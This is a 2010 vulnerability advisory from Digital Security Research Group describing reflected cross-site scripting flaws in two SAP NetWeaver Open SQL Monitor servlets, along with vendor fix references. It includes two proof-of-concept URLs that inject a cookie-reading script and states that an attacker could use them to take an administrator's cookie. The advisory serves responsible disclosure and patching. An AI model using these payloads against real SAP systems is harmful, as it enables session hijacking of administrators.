SAP NetWeaver Administrator Panel ECC 6.0 Cross Site Scripting

`Digital Security Research Group [DSecRG] Advisory  
  
  
Application: SAP NetWeaver Administrator panel  
Versions Affected: SAP NetWeaver Administrator panel from ECC 6.0  
Vendor URL: http://SAP.com  
Bugs: XSS  
Exploits: YES  
Reported: 07.09.2009  
Vendor response: 08.09.2009  
Date of Public Advisory: 09.11.2010  
CVE-number:  
Author: a.polyakov and a.troshichev from Digital Security Research  
Group [DSecRG] (research [at] dsec [dot] ru)  
  
  
Description  
***********  
  
Open SQL Monitors (installed by default in port 50100) has linked multiple  
XSS vulnerabilies.  
  
  
  
Details  
*******  
  
1 Vulnerable script - ConnectionMonitorServlet  
  
Vulnerable parameters: connid.  
  
Attacker can send link to administrator and get his cookie.  
  
  
2 Vulnerable script - CatalogBufferMonitorServlet  
  
Vulnerable parameters: reqTableColumns  
  
Attacker can send link to administrator and get his cookie.  
  
  
  
Example:  
********  
  
http://172.16.0.222:50100/OpenSQLMonitors/servlet/ConnectionMonitorServlet?view=stmtpool&node=12924950&ds=SAPSR3DB&connid  
=com.sap.sql.jdbc.direct.DirectPooledConnection@1ed00a7<script>alert(document.cookie)</script>  
  
Example:  
********  
  
http://172.16.0.222:50100/OpenSQLMonitors/servlet/CatalogBufferMonitorServlet?action=btnSHOW_COLUMNS&reqNode=12924950&reqBufferId=  
SAPSERVER:dm0:SAPSR3DB&reqTableColumns=BC_RPROF_PROFILE<script>alert(document.cookie)</script>  
  
  
References  
**********  
  
http://dsecrg.com/pages/vul/show.php?id=156  
http://www.sdn.sap.com/irj/sdn/index?rid=/webcontent/uuid/c05604f6-4eb3-2d10-eea7-ceb666083a6a  
https://service.sap.com/sap/support/notes/1391770  
  
  
  
  
Fix Information  
***************  
  
Solution for this issue given in security note 1391770.  
  
  
  
  
About  
*****  
  
Digital Security is one of the leading IT security companies in CEMEA,  
providing information security consulting, audit and penetration  
testing services, ERP and SAP security assessment, certification for ISO/IEC  
27001:2005 and PCI DSS and PA DSS standards.  
Digital Security Research Group focuses on enterprise application (ERP) and  
database  
security problems with vulnerability reports, advisories and whitepapers  
posted regularly on our website.  
  
Contact: research [at] dsecrg [dot]com  
http://www.dsecrg.com  
http://www.erpscan.com  
`